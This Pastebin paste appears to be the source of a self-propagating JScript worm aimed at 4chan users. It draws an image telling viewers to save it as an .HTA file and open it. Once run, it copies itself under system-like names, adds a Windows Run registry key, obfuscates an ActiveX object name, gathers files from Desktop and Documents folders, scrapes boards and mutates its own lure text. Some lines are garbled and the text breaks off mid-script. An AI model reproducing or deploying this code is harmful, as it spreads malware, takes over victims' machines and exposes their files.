Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- *///<script id=thisscript>
- var initsettings = {};
- initsettings.top = 0.035831361827460564;
- initsettings.bottom = 0.07524049811272389;
- initsettings.left = 0.022873570904446697;
- initsettings.right = 0.04321775122208555;
- initsettings.pt = [1.690145048006841,0.27103185223431353,181.23781741097318,19.499053733116184,23.131821594433582,67.88878426769331,4.112015693517884];
- initsettings.xc = [-84.70638618402181,-6.099903040205308,-936.8092478143072,-938.1134337957429,-671.7799088025544,1826.604475008387,419.1584829341692];
- initsettings.fg = [207,225,105];
- initsettings.bg = [2,96,216];
- initsettings.line1 = unescape("");
- initsettings.name = unescape("WOMEN");
- initsettings.wordchoice = [13,53,34,47,32,14,11,35,37,31,13,23,43,21,38,34,15,41];
- initsettings.savechoice = [31,31];
- initsettings.splitpoint = 0.113562384940881;
- //end initsettings
- // Precompute CRC table
- var crc_table = [];
- for (var n = 0; n < 256; n++) {
- var c = n;
- for (var k = 0; k < 8; k++) {
- if (c & 1) {
- c = 0xedb88320 ^ (c >>> 1);
- } else {
- c = c >>> 1;
- }
- }
- crc_table[n] = c;
- function TextPic() {
- var self = this;
- // Edge array
- var edges = [];
- var vcurr = [];
- // Cursor position, font size, image boundaries
- this.xc = 0;
- this.yc = 0;
- this.pt = 50;
- this.xmin = 0;
- this.xmax = 0;
- // Draw edge
- function e(x1, x2, y1, y2, curved, v, y1r, y2r) {
- if (typeof y1r == "undefined") y1r = y1;
- if (typeof y2r == "undefined") y2r = y2;
- x1 /= 10; x2 /= 10; y1 /= 10; y2 /= 10; y1r /= 10; y2r /= 10;
- var yy1 = Math.max(Math.ceil(self.yc + y1r*self.pt), 0);
- var yy2 = Math.min(Math.floor(self.yc + y2r*self.pt), edges.length - 1);
- for (var y = yy1; y <= yy2; y++) {
- var ys = ((y-self.yc)/self.pt - y1) / (y2 - y1);
- var x;
- if (curved) {
- var dy = 2 * ys - 1;
- x = x1 + (x2 - x1) * Math.sqrt(Math.max(1 - dy*dy, 0));
- } else {
- x = x1 + (x2 - x1) * ys;
- }
- var xx = Math.ceil(self.xc + x*self.pt);
- while (edges[y].length && edges[y][edges[y].length-1] >= xx) {
- edges[y].pop();
- vcurr[y] = 1 - vcurr[y];
- }
- if (v != vcurr[y]) edges[y].push(xx);
- vcurr[y] = v;
- }
- }
- // Draws other half of character using symmetry
- function mirror(params, width, inv) {
- for (var i = 0; i < params.length; i++) {
- var p = params[i];
- e(p[0],p[1],p[2],p[3],p[4],p[5],p[6],p[7]);
- }
- for (var i = params.length - 1; i >= 0; i--) {
- var p = params[i];
- if (inv) {
- var np6 = (typeof p[6] == "undefined") ? p[6] : (10-p[6]);
- var np7 = (typeof p[7] == "undefined") ? p[6] : (10-p[7]);
- if (p[4]) {
- e(width-p[0],width-p[1],10-p[3],10-p[2],p[4],1-p[5],np7,np6);
- } else {
- e(width-p[1],width-p[0],10-p[3],10-p[2],p[4],1-p[5],np7,np6);
- }
- } else {
- e(width-p[0],width-p[1],p[2],p[3],p[4],1-p[5],p[6],p[7]);
- }
- }
- }
- function mirrorvert(params) {
- for (var i = 0; i < params.length; i++) {
- var p = params[i];
- e(p[0],p[1],p[2],p[3],p[4],p[5],p[6],p[7]);
- var np6 = (typeof p[6] == "undefined") ? p[6] : (10-p[6]);
- var np7 = (typeof p[7] == "undefined") ? p[6] : (10-p[7]);
- if (p[4]) {
- e(p[0],p[1],10-p[3],10-p[2],p[4],p[5],np7,np6);
- } else {
- e(p[1],p[0],10-p[3],10-p[2],p[4],p[5],np7,np6);
- }
- }
- }
- // Character widths
- var cwidth = {"A":1,"B":1,"C":.95,"D":1.05,"E":1,"F":.85,"G":1.15,"H":1,"I":.4,"J":.85,"K":1.05,"L":.85,"M":1.2,"N":1.1,"O":1.1,"P":.95,"Q":1.1,"R":.95,"S":.9,"T":.9,"U":1,"V":1,"W":1.7,"X":.95,"Y":.9,"Z":.9,"1":.4,"2":.85,"3":.9,"4":.95,".":.3,"?":.75,"!":.4,":":.4,"-":.7,"+":.7,"'":.3,"$":.9,"/":.6," ":.5};
- // Draw centered line of text
- this.drawline = function(s) {
- while (Math.floor(self.yc + 1.6*self.pt) >= edges.length) {
- edges.push([]);
- vcurr.push(0);
- }
- var xc0 = self.xc;
- self.yc += .3*self.pt;
- for (var i = 0; i < s.length; i++) {
- var c = s.charAt(i);
- if (c in cwidth) {
- self.xc -= cwidth[c]*self.pt/2;
- }
- }
- if (Math.ceil(self.xc) < self.xmin) self.xmin = Math.ceil(self.xc);
- for (var i = 0; i < s.length; i++) {
- var c = s.charAt(i);
- var xc1 = self.xc;
- if ("ACGJOQTVWXYZ4.?-'/".indexOf(c) != -1) {
- self.xc += .05*self.pt;
- } else {
- self.xc += .1*self.pt;
- }
- switch(c) {
- case "A": mirror([[3,0,0,10,0,1],[2.9,2,7,10,0,0],[4.4,3.5,2,5,0,0]],9,0);break;
- case "B": e(0,0,0,10,0,1);mirrorvert([[2,2,2,4,0,0],[5,6,2,4,1,1],[5,8,0,6,1,0,0,5]]);break;
- case "C": e(5,0,0,10,1,1);e(5,2,2,8,1,0);e(8,8,0,10,0,0);break;
- case "D": e(0,0,0,10,0,1);e(2,2,2,8,0,0);e(4,7,2,8,1,1);e(4,9,0,10,1,0);break;
- case "E": e(0,0,0,10,0,1);mirrorvert([[2,2,2,4,0,0]]);e(8,8,0,10,0,0);break;
- case "F": e(0,0,0,10,0,1);e(2,2,2,4,0,0);e(2,2,6,10,0,0);e(7,7,0,6,0,0);break;
- case "G": e(5,0,0,10,1,1);e(5,2,2,8,1,0);e(6,6,4,6,0,1);e(8,8,6,8,0,1);e(10,10,0,10,0,0);break;
- case "H": mirror([[0,0,0,10,0,1],[2,2,0,4,0,0],[2,2,6,10,0,0]],8,0);break;
- case "I": case "1": mirror([[0,0,0,10,0,1]],2,0);break;
- case "J": mirror([[3.5,0,3,10,1,1,6.5,10],[3.5,2,5,8,1,0,6.5,8]],7,0);e(5,5,0,6.5,0,1);e(7,7,0,6.5,0,0);break;
- case "K": e(0,0,0,10,0,1);mirrorvert([[2,2,0,4,0,0],[6,2,0,4,0,1],[9,4,0,5,0,0]]);break;
- case "L": e(0,0,0,10,0,1);e(2,2,0,8,0,0);e(7,7,8,10,0,0);break;
- case "M": mirror([[0,0,0,10,0,1],[2,2,2,10,0,0],[2,4,2,6,0,1],[3,5,0,4,0,0]],10,0);break;
- case "N": mirror([[0,0,0,10,0,1],[2,2,2,10,0,0],[2,6,2,10,0,1]],9,1);break;
- case "O": mirror([[5,0,0,10,1,1],[5,2,2,8,1,0]],10,0);break;
- case "P": e(0,0,0,10,0,1);e(2,2,2,4,0,0);e(2,2,6,10,0,0);e(5,6,2,4,1,1);e(5,8,0,6,1,0);break;
- case "Q": e(5,0,0,10,1,1);e(5,2,2,8,1,0);e(5,8,2,8,1,1,7,8);e(6,5,5,6,0,1);e(5,7,6,8,0,1);e(6,9,5,8,0,0);
- e(5,8,2,8,1,1);e(5,10,0,10,1,0);e(7,9,8,10,0,1);e(9,10,8,9,0,0);e(10,9,9,10,0,0);break;
- case "R": e(0,0,0,10,0,1);e(2,2,2,4,0,0);e(2,2,6,10,0,0);e(5,6,2,4,1,1);e(5,8,0,6,1,0);e(2,5,6,10,0,1);e(5,8,6,10,0,0);break;
- case "S": mirror([[3,0,0,6,1,1],[0,0,8,10,0,1],[4,5,6,8,1,1]],7,1);break;
- case "T": mirror([[0,0,0,2,0,1],[3,3,2,10,0,1]],8,0);break;
- case "U": mirror([[3.5,0,3,10,1,1,6.5,10],[0,0,0,6.5,0,1],[3.5,2,5,8,1,0,6.5,8],[2,2,0,6.5,0,0]],8,0);break;
- case "V": mirror([[0,3,0,10,0,1],[2,4.4,0,8,0,0]],9,0);break;
- case "W": mirror([[0,3,0,10,0,1],[2,4.4,0,8,0,0],[7,4.6,0,8,0,1],[8.1,6,3,10,0,0]],16,0);break;
- case "X": mirror([[0,3,0,5,0,1],[3,0,5,10,0,1],[2.5,4.25,0,3.5,0,0],[4.25,2.5,6.5,10,0,0]],8.5,0);break;
- case "Y": mirror([[0,3,0,6,0,1],[3,3,6,10,0,1],[2,4,0,4,0,0]],8,0);break;
- case "Z": mirror([[0,0,0,2,0,1],[5,0,2,8,0,1],[0,0,8,10,0,1]],8,1);break;
- case "2": e(3.25,0,0,6.5,1,1,0,3.25);e(3.25,2,2,4.5,1,0);e(3.25,4.5,2,4.5,1,1,2,4);e(4.25,0,4,8,0,1);e(0,0,8,10,0,1);
- e(3.25,6.5,0,6.5,1,0,0,5.2);e(5.85,2.875,5.2,8,0,0);e(6.5,6.5,8,10,0,0);break;
- case "3": e(0,0,4,6,0,1);mirrorvert([[0,0,0,2,0,1],[4,5,2,4,1,1],[4,7,0,6,1,0,0,5]]);break;
- case "4": e(1.5,0,0,6,0,1);e(3.5,2.5,0,4,0,0);e(6,6,0,10,0,1);e(8,8,0,10,0,0);break;
- case ".": mirror([[1,0,8,10,1,1]],2,0);break;
- case "?": e(3.25,0,0,6.5,1,1,0,3.25);e(3.25,2,2,4.5,1,0);e(3.25,4.5,2,4.5,1,1);e(2.25,2.25,4.5,7.5,0,1);
- e(4.25,6.5,0,6.5,1,0);e(4.25,4.25,6.5,7.5,0,0);mirror([[3.25,2.25,8,10,1,1]],6.5,0);break;
- case "!": mirror([[0,0,0,7,0,1],[1,0,8,10,1,1]],2,0);break;
- case ":": mirror([[1,0,1,3,1,1],[1,0,7,9,1,1]],2,0);break;
- case "-": mirror([[0,0,4,6,0,1]],6,0);break;
- case "-": mirror([[0,0,4,6,0,1],[2,2,2,4,0,1],[2,2,6,8,0,1]],6,0);break;
- case "'": mirror([[0,0,0,3.5,0,1]],2,0);break;
- case "$": mirror([[2.5,0,1,6,1,1],[0,0,7,9,0,1],[2.75,2.75,0,1,0,1],[4.25,4.25,0,1,0,0],[2.75,2.75,6,7,0,1],[4.25,4.25,6,7,0,0],[4.5,5,6,7,1,1]],7,1);break;
- case "/": mirror([[3,0,0,10,0,1]],5,1);break;
- }
- self.xc = xc1;
- if (c in cwidth) {
- self.xc += cwidth[c]*self.pt;
- }
- }
- if (Math.ceil(self.xc) > self.xmax) self.xmax = Math.ceil(self.xc);
- self.yc += 1.3*self.pt;
- self.xc = xc0;
- }
- // Output picture in array of run-length encoded lines (arrays of [[r,g,b], count])
- this.getRLE = function(fg, bg) {
- var rle = [];
- for (var y = 0; y < edges.length; y++) {
- rle[y] = [];
- var v = 0;
- var x = self.xmin;
- for (var i = 0; i < edges[y].length; i++) {
- rle[y].push([v ? fg : bg, edges[y][i] - x]);
- v = 1 - v;
- x = edges[y][i];
- }
- if (x < self.xmax) rle[y].push([v ? fg : bg, self.xmax - x]);
- }
- return rle;
- }
- function PNGEncoder(w, h) {
- var crc = 0;
- var stringbuf = "";
- var bytebuf = 0;
- var bytelen = 0;
- // Append one byte to stream
- function writebyte(b) {
- if (bytelen % 2 == 1) {
- stringbuf += String.fromCharCode((b<<8) + bytebuf);
- } else {
- bytebuf = b;
- }
- bytelen++;
- crc = crc_table[(crc ^ b) & 0xff] ^ (crc >>> 8);
- }
- function writebytes(arr) {
- for (var i = 0; i < arr.length; i++) {
- writebyte(arr[i]);
- }
- }
- // Add integer in big-endian order to stream
- function writeint(n, bits) {
- for (var i = bits - 1; i >= 0; i--) {
- writebyte((n>>>(8*i)) & 0xff);
- }
- }
- // Add bits to stream (little-endian order)
- var bitbuf = 0;
- var bitlen = 0;
- function writebits(b, nbits) {
- bitbuf = bitbuf | (b << bitlen);
- bitlen += nbits;
- while (bitlen >= 8) {
- writebyte(bitbuf & 0xff);
- bitbuf = bitbuf >>> 8;
- bitlen -= 8;
- }
- }
- function flushbits() {
- if (bitlen > 0) {
- writebyte(bitbuf);
- bitbuf = bitlen = 0;
- }
- }
- // Reverse bits
- function rev(x, n) {
- var y = 0;
- ~RIN
- */ for (var i = 0; i < n; i++) {
- y <<= 1;
- if (x & 1) y |= 1;
- x >>>= 1;
- }
- return y;
- }
- // Create random Huffman code
- function randlens(ncodes, maxlen) {
- var lens = [[0, Math.random()]];
- for (var i = 1; i < ncodes; i++) {
- do {
- j = Math.floor(lens.length * Math.random());
- } while (lens[j][0] == maxlen);
- lens[j][0]++;
- lens[i] = [lens[j][0], Math.random()];
- }
- lens.sort(function(x, y) {return x[1] - y[1];});
- var lens2 = [];
- for (var i = 0; i < ncodes; i++) {
- lens2[i] = lens[i][0];
- }
- return lens2;
- }
- // Create Huffman codes from table of Huffman code lengths
- function getcodes(lens, maxlen) {
- var codes = [];
- var code = 0;
- for (var len = 1; len <= maxlen; len++) {
- for (var i = 0; i < lens.length; i++) {
- if (lens[i] == len) {
- codes[i] = rev(code, len);
- code += 1;
- }
- }
- code <<= 1;
- }
- return codes;
- }
- // Tables of Huffman codes
- var lbits = randlens(286, 15);
- var dbits = randlens(30, 15);
- var hbits = randlens(19, 7);
- var lcode = getcodes(lbits, 15); // literals + lengths
- var dcode = getcodes(dbits, 15); // distances
- var hcode = getcodes(hbits, 7); // huffman code lengths
- // Write length code
- function writelength(len) {
- if (len == 258) {
- writebits(lcode[285], lbits[285]);
- } else {
- var n;
- for (n = 7; n > 0; n--) {
- if ((len - 3) & (1 << (n+2))) break;
- }
- var val = ((len-3)>>>n) & 3;
- val += 261 + 4*n;
- if (len <= 6) val -= 4;
- writebits(lcode[val], lbits[val]);
- var eb = (len-3) & ((1<<n) - 1);
- writebits(eb, n);
- }
- }
- // Write distance code
- function writedist(dist) {
- var n;
- for (n = 13; n > 0; n--) {
- if ((dist - 1) & (1 << (n+1))) break;
- }
- var val = ((dist-1)>>>n) & 1;
- val += 2 + 2*n;
- if (dist <= 2) val -= 2;
- writebits(dcode[val], dbits[val]);
- var eb = (dist-1) & ((1<<n) - 1);
- writebits(eb, n);
- }
- // Write header
- writebytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D]);
- crc = -1;
- writebytes([0x49,0x48,0x44,0x52]);
- writeint(w, 4);
- writeint(h, 4);
- writebytes([0x08,0x02,0x00,0x00,0x00]);
- writeint(crc ^ -1, 4);
- // Begin data segment
- var datalenpos = bytelen;
- writeint(0, 4);
- crc = -1;
- writebytes([0x49,0x44,0x41,0x54]);
- var datastart = bytelen;
- writebytes([0x78,0x5E]);
- writebits(5, 3); // last block, dynamic Huffman codes
- // Write Huffman tables
- writebits(lbits.length - 257, 5);
- writebits(dbits.length - 1, 5);
- writebits(hbits.length - 4, 4);
- var order = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15];
- for (var i = 0; i < order.length; i++) {
- writebits(hbits[order[i]], 3);
- }
- for (var i = 0; i < lbits.length; i++) {
- writebits(hcode[lbits[i]], hbits[lbits[i]]);
- }
- for (var i = 0; i < dbits.length; i++) {
- writebits(hcode[dbits[i]], hbits[dbits[i]]);
- }
- // Adler checksums
- var s1 = 1;
- var s2 = 0;
- function addrun(col, n) {
- s2 = (s2 + s1*3*n + col[0]*(3*n+3)*n/2 + col[1]*(3*n+1)*n/2 + col[2]*(3*n-1)*n/2) % 65521;
- s1 = (s1 + (col[0]+col[1]+col[2])*n) % 65521;
- if (n >= 1) {
- for (var j = 0; j < 3; j++) writebits(lcode[col[j]], lbits[col[j]]);
- n -= 1;
- }
- while (n > 0) {
- var nn = Math.min(n, 86);
- writelength(3*nn);
- writedist(3);
- n -= nn;
- }
- }
- // Add run-length encoded scanline (array of [[r,g,b], count])
- this.addRLE = function(rle) {
- writebits(lcode[0], lbits[0]);
- s2 = (s2 + s1) % 65521;
- for (var i = 0; i < rle.length; i++) {
- addrun(rle[i][0], rle[i][1]);
- }
- }
- // Decode string containing pixels in BGR order, add scanline to image
- this.addBGR = function(s, charwidth, padcolor) {
- writebits(lcode[0], lbits[0]);
- s2 = (s2 + s1) % 65521;
- var col = [0, 0, 0];
- var ch = 2;
- var x = 0;
- for (var i = 0; i < s.length; i++) {
- var word = s.charCodeAt(i);
- for (var j = 0; j < charwidth; j++) {
- col[ch--] = word & 0xff;
- if (ch < 0) {
- addrun(col, 1);
- ch = 2;
- x++;
- }
- word >>>= 8;
- }
- }
- if (ch != 2) {
- addrun(col, 1);
- x++;
- }
- if (x < w) {
- addrun(padcolor, w - x);
- }
- }
- // Finish PNG and write to stream
- this.writeto = function(stream) {
- // End of block
- writebits(lcode[256], lbits[256]);
- flushbits();
- // Checksums
- writeint(s2, 2);
- writeint(s1, 2);
- var datalen = bytelen - datastart;
- writeint(crc ^ -1, 4);
- // End of file block
- writebytes([0,0,0,0,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]);
- // Write data to stream
- var pos1 = stream.position;
- if (pos1 == 0) pos1 = 2;
- stream.writeText(stringbuf);
- if (bytelen % 2 == 1) {
- stream.writeText(String.fromCharCode(bytebuf));
- stream.position -= 1;
- stream.setEOS();
- }
- var pos2 = stream.position;
- // Go back and write in length of data segment
- stream.position = pos1 + datalenpos;
- function revword(w) {
- return String.fromCharCode(((w & 0xff) << 8) | (w >>> 8));
- }
- stream.writeText(revword(datalen >>> 16));
- stream.writeText(revword(datalen & 0xffff));
- stream.position = pos2;
- }
- function textstream(mode) {
- var stream = new ActiveXObject("maertS.bdodA".split("").reverse().join(""));
- stream.mode = mode;
- stream.type = 2; //text
- stream.open();
- return stream;
- // Load file, store in 7z format, return [wchar string, nbytes]
- function sevenz(filename) {
- var crc = -1;
- var stringbuf = ["\u7A37\uAFBC\u1C27\u0300", "", ""];
- var ibuf = 2;
- var bytebuf = 0;
- var bytelen = 0;
- // Add byte to string, update CRC
- function addbyte(b) {
- if (bytelen % 2 == 1) {
- stringbuf[ibuf] += String.fromCharCode((b<<8) | bytebuf);
- } else {
- bytebuf = b;
- }
- bytelen++;
- crc = crc_table[(crc ^ b) & 0xff] ^ (crc >>> 8);
- }
- function addbytes(bytes) {
- for (var i = 0; i < bytes.length; i++) addbyte(bytes[i]);
- }
- // Add number in 7z's UINT64 format
- // Note: this implementation only works to 2^32-1.
- function uint64(n) {
- var buf = [];
- var i;
- for (i = 7; i >= 0; i--) {
- if ((n & (-(1<<i))) == 0) {
- break;
- } else {
- buf.push(n & 0xff);
- n >>>= 8;
- }
- }
- addbyte((n&0xff) + 256 - (1<<(i+1)));
- for (var i = 0; i < buf.length; i++) addbyte(buf[i]);
- }
- function uint(n, nbytes) {
- for (var i = 0; i < nbytes; i++) {
- addbyte(n & 0xff);
- n >>>= 8;
- }
- }
- // Open file
- var stream = textstream(1 /*read*/);
- stream.loadFromFile(filename);
- // Read in file
- stringbuf[ibuf] = stream.readText();
- bytelen = 2 * stringbuf[ibuf].length;
- for (var i = 0; i < stringbuf[ibuf].length; i++) {
- var w = stringbuf[ibuf].charCodeAt(i);
- crc = crc_table[(crc ^ w) & 0xff] ^ (crc >>> 8);
- crc = crc_table[(crc ^ (w>>8)) & 0xff] ^ (crc >>> 8);
- }
- if (stream.size % 2 == 1) {
- stream.position -= 2;
- var c = stream.readText(1);
- addbyte(c.charCodeAt(0) >> 8);
- }
- var datacrc = crc ^ -1;
- var datasize = bytelen;
- stream.close();
- // Create 7z headers
- crc = -1;
- addbytes([1,4,6,0,1,9]);
- uint64(datasize);
- addbytes([0,7,11,1,0,1,1,0,12]);
- uint64(datasize);
- addbytes([0,8,10,1]);
- uint(datacrc, 4);
- addbytes([0,0,5,1,17]);
- uint64(2*filename.length + 3);
- addbyte(0);
- for (var i = 0; i < filename.length; i++) {
- addbyte(filename.charCodeAt(i) & 0xff);
- addbyte(filename.charCodeAt(i) >> 8);
- }
- addbytes([0,0,0,0]);
- var headercrc = crc ^ -1;
- var headersize = bytelen - datasize;
- // Headers for beginning of file
- ibuf = 1;
- bytelen = 0;
- crc = -1;
- uint(datasize, 8);
- uint(headersize, 8);
- uint(headercrc, 4);
- ibuf = 0;
- uint(crc ^ -1, 4);
- return [stringbuf.join(""), 32+datasize+headersize];
- // List of boards
- var dir = "a b c d e g h hr k m o p r s t u v w wg i ic cm y r9k 3 adv an cgl ck co fa fit int jp lit mu n new po sci sp tg toy trv tv vp x".split(" ");
- var mfs = [3,2,3,3,3,3,3, 8,3,3,3,5,8,3,3,3,3,4, 4,3, 3, 3,3, 2,3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,3, 3, 8, 3, 3, 3, 3, 8, 3, 3,3];
- // ActiveX objects we need
- var request = new ActiveXObject("Msxml2.XMLHTTP");
- var shell = new ActiveXObject("WScript.Shell");
- var fs = new ActiveXObject("Scripting.FileSystemObject");
- var sa = new ActiveXObject("Shell.Application");
- // Creates a random alphanumeric string
- function randomstring(choices, length) {
- var str = "";
- for (var i = 0; i < length; i++) {
- str += choices.charAt( Math.floor(Math.random()*choices.length) );
- }
- return str;
- function randomdata(length, cwidth) {
- var str = "";
- for (var i = 0; i < length; i++) {
- str += String.fromCharCode(Math.floor(Math.random()*(1<<(8*cwidth))));
- }
- return str;
- // Randomly choose from list
- function randomchoice(list) {
- return list[Math.floor(Math.random()*list.length)];
- // Gets HTML page or file from URL
- function get(url, doretry) {
- if (typeof get.modtime == "undefined") get.modtime = [];
- var successful = 0;
- var tries = 0;
- do {
- try {
- request.open("get", url, 0);
- request.setRequestHeader("Accept-Language", "en-us");
- if (get.modtime[url]) {
- request.setRequestHeader("If-Modified-Since", get.modtime[url]);
- }
- request.send();
- get.modtime[url] = request.getResponseHeader("Last-Modified");
- successful = 1;
- } catch(e) {}
- tries++;
- } while (doretry && !successful && tries < 5);
- if (!successful) throw("");
- if (request.status != 200) throw("");
- // Append text string to stream
- function writestring(stream, s) {
- var s2 = unescape(encodeURIComponent(s)); // encode UTF8
- */ for (var i = 0; i < s2.length; i++) {
- stream.writeText(s2.charAt(i));
- stream.position -= 1;
- stream.setEOS();
- }
- // Copy text stream to binary stream, removing Unicode garbage at beginning
- function tobinary(stream) {
- var stream2 = new ActiveXObject("maertS.bdodA".split("").reverse().join(""));
- stream2.mode = 3;
- stream2.type = 1; //binary
- stream2.open();
- stream.position = 2;
- stream.copyTo(stream2);
- stream.close();
- stream2.position = 0;
- return stream2;
- // Remove HTML entities, tags from comment
- function cleanup(comment) {
- comment = comment.replace(/<br \/>/g, "\n");
- comment = comment.replace(/<[^>]*>/g, "");
- comment = comment.replace(/"/g, "\"");
- comment = comment.replace(/&/g, "&");
- comment = comment.replace(/,/g, ",");
- comment = comment.replace(/</g, "<");
- comment = comment.replace(/>/g, ">");
- return comment;
- // Add deliberate typos to comment
- function garble(comment) {
- comment = comment.split("");
- for (var i = 0; i < comment.length - 1; i++) {
- if (Math.random() < 0.01) {
- var tmp = comment[i];
- comment[i] = comment[i+1];
- comment[i+1] = tmp;
- }
- }
- comment = comment.join("");
- comment = comment.replace("\n", "\r\n");
- return comment;
- // Get a copy of this script
- var scripttext;
- if (typeof WSH == "undefined") {
- scripttext = thisscript.innerHTML;
- scripttext = "//<scr"+"ipt id=thisscript>\r\n" + scripttext + "</scr"+"ipt>\r\n";
- } else {
- var thisfile = fs.openTextFile(WSH.scriptFullName, 1);
- scripttext = thisfile.readAll();
- thisfile.close();
- scripttext = scripttext.replace(/\n\/\*[\s\S]*?\*\//g, "\n");
- // Add to startup, run .js version
- if (typeof WSH == "undefined") {
- try {
- shell.currentDirectory = fs.getSpecialFolder(2);
- var name = ["dev", "ms", "sys", "system", "win"][initsettings.savechoice[0]%5] + ["32", "config", "drivers", "utils", "xp"][initsettings.savechoice[1]%5];
- var copyfile = fs.openTextFile(name + ".js", 2, 1);
- copyfile.write(scripttext);
- copyfile.close();
- var startcmd = "wscript \"" + fs.getFile(name + ".js").path + "\"";
- shell.regWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" + name, startcmd);
- shell.run(startcmd);
- close();
- } catch(e) {}
- if (typeof WSH != "undefined") {
- // Get list of documents
- var doclist = [];
- var dirkeys = ["Desktop", "My Pictures", "Personal"];
- for (var i = 0; i < dirkeys.length; i++) {
- try {
- var dirname = shell.regRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\" + dirkeys[i]);
- var dirlist = sa.namespace(dirname).items();
- for (var j = 0; j < dirlist.count; j++) {
- var it = dirlist.item(j);
- if (!it.isFolder && !it.isLink && it.size <= 3145728) {
- doclist.push(it.path);
- }
- }
- } catch(e) {}
- }
- // List of subject lines seen
- var subjectlist = [];
- // For cookie clearing
- var ie = new ActiveXObject("InternetExplorer.Application");
- try {
- ie.navigate("http://boards.4chan.org/b/");
- } catch(e) {}
- while (true) {
- try {
- // Clear cookies
- try {
- ie.document.cookie = "nws_style=; expires=" + new Date(0) + "; path=/; domain=.4chan.org";
- ie.document.cookie = "ws_style=; expires=" + new Date(0) + "; path=/; domain=.4chan.org";
- } catch(e) {}
- // Select random board
- board = (Math.random() < 0.2) ? 1 : Math.floor( Math.random() * dir.length);
- // Get comment, subject lines
- get("http://boards.4chan.org/" + dir[board] + "/" + (5 + Math.floor(11*Math.random())), 1);
- var comments = request.responseText.match(/<blockquote>.*?<\/blockquote>/g);
- var comment = randomchoice(comments);
- comment = cleanup(comment);
- comment = comment.replace(/>>\d+/g, "");
- var subjects = request.responseText.match(/<span class="(?:file|reply)title">.*?<\/span>/g);
- for (var i = 0; i < subjects.length; i++) {
- var subject = cleanup(subjects[i])
- if (subject != "") {
- subjectlist.push(subject.toUpperCase());
- if (subjectlist.length > 10000) subjectlist.splice(0,1);
- }
- }
- // Select thread to post to and name of file
- var thread = "";
- if (Math.random() < 0.9) {
- get("http://boards.4chan.org/" + dir[board] + "/", 1);
- var threadlist = request.responseText.match(/<span id="nothread\d+/g);
- thread = randomchoice(threadlist).match(/\d+/)[0];
- }
- var filename = (new Date().getTime() - Math.floor(Math.random()*1e10)) + ".png";
- // Mutate settings
- function MUT() {
- return Math.random() < 0.2;
- }
- var settings = {};
- for (var x in initsettings) {
- if (typeof settings[x] == "object") {
- settings[x] = initsettings[x].slice(0);
- } else {
- settings[x] = initsettings[x];
- }
- }
- if (MUT()) settings.top *= Math.exp(Math.random()-.5);
- if (MUT()) settings.bottom *= Math.exp(Math.random()-.5);
- if (MUT()) settings.left *= Math.exp(Math.random()-.5);
- if (MUT()) settings.right *= Math.exp(Math.random()-.5);
- for (var i = 0; i < settings.pt.length; i++) {
- if (MUT()) settings.pt[i] *= Math.exp(Math.random()-.5);
- if (MUT()) settings.xc[i] += 10 * settings.pt[i] * (Math.random()-.5);
- }
- if (MUT()) for (var i = 0; i < 3; i++) settings.fg[i] = Math.floor(256*Math.random());
- if (MUT()) for (var i = 0; i < 3; i++) settings.bg[i] = Math.floor(256*Math.random());
- if (MUT()) {
- switch(Math.floor(3*Math.random())) {
- case 0: if (subjectlist.length > 0) settings.line1 = randomchoice(subjectlist); break;
- case 1: settings.line1 = comment.match(/^[a-z0-9'-\/$ ]*[\.\?\!:]*/i)[0].toUpperCase(); break;
- case 2: settings.line1 = ""; break;
- }
- }
- if (MUT()) {
- var wordsource = (Math.random() < .5 || subjectlist.length == 0) ? comment : randomchoice(subjectlist);
- var words = wordsource.match(/[a-z1234]+/gi);
- if (words != null) settings.name = randomchoice(words).toUpperCase();
- }
- for (var i = 0; i < settings.wordchoice.length; i++) {
- if (MUT()) settings.wordchoice[i] = Math.floor(60*Math.random());
- }
- for (var i = 0; i < settings.savechoice.length; i++) {
- if (MUT()) settings.savechoice[i] = Math.floor(60*Math.random());
- }
- settings.splitpoint = Math.random();
- // Write settings into new script
- var newscript = "//<scr"+"ipt id=thisscript>\r\nvar initsettings = {};\r\n";
- for (var x in settings) {
- switch(typeof settings[x]) {
- case "number":
- newscript += "initsettings." + x + " = " + settings[x] + ";\r\n";
- break;
- case "object":
- newscript += "initsettings." + x + " = [" + settings[x].join(",") + "];\r\n";
- break;
- case "string":
- newscript += "initsettings." + x + " = unescape(\"" + escape(settings[x]) + "\");\r\n";
- break;
- }
- }
- newscript += "//end init"+"settings" + scripttext.split("//end init"+"settings")[1];
- // Choose words
- var lines = [];
- var wc = settings.wordchoice;
- lines[0] = settings.line1;
- lines[1] = ["OPEN", "CLICK", "TAKE", "VIEW", "START WITH"][wc[0]%5] + " " + [["THIS", "THE"][wc[1]%2] + " " + ["IMAGE", "PIC", "PICTURE", "FILE"][wc[2]%4], "ME"][wc[3]%2];
- if (wc[4]%2) lines[1] = "";
- lines[2] = ["COPY", "COPY+PASTE", "PASTE"][wc[5]%3] + [" ", " IT ", " ME ", " THIS "][wc[6]%4] + "TO " + ["PAINT", "MSPAINT"][wc[7]%2];
- lines[3] = "SAVE" + [" ", " IT ", " THE FILE ", " ME "][wc[8]%4] + "AS" + [":", ""][wc[9]%2];
- lines[4] = ["FILE NAME: ", "NAME: ", ""][wc[10]%3] + settings.name + ".HTA";
- lines[5] = ["SAVE AS TYPE: ", "TYPE: ", ""][wc[11]%3] + ["24-BIT BITMAP", "24 BITS", "BITMAP"][wc[12]%3];
- if (wc[13]%2) lines[5] = "";
- lines[6] = ["", "THEN ", "AND "][wc[14]%3] + "OPEN" + ["", " IT", " THE FILE", " IT AGAIN"][wc[15]%4];
- lines[6] = ["", lines[6], lines[6] + " AND SHIT BRICKS", "SHIT BRICKS"][wc[16]%4];
- if (wc[17]%2) {
- var num = 1;
- for (var i = 1; i <= 6; i++) {
- if (i != 4 && i != 5 && lines[i] != "") {
- lines[i] = num + ". " + lines[i];
- num++;
- }
- }
- }
- // Draw text
- var instr = new TextPic();
- instr.yc = settings.top;
- for (var i = 0; i < lines.length; i++) {
- if (lines[i] != "") {
- instr.pt = settings.pt[i];
- instr.xc = settings.xc[i];
- instr.drawline(lines[i]);
- }
- }
